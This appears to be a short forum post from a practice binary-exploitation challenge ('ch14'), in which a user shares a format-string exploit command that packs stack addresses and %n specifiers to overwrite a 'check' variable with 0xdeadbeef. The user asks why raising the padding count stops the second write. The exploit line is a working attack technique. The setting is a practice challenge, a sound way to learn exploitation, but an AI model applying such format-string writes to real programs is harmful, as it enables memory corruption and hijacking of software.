App - System

this is my exploit so far,
./ch14 $(python -c ’print "\x48\xfb\xff\xbf\x4a\xfb\xff\xbf"+"%48870u-%9$n"+"%99u%10$n"’)
it succeeds in writing check=0xbf52beef onto the check variable, though whenever i try to increase the "99" in this part "%99u%10$n"’ (which is required to write 0xdead)the exploit doesn’t write anything onto the stack. Please help.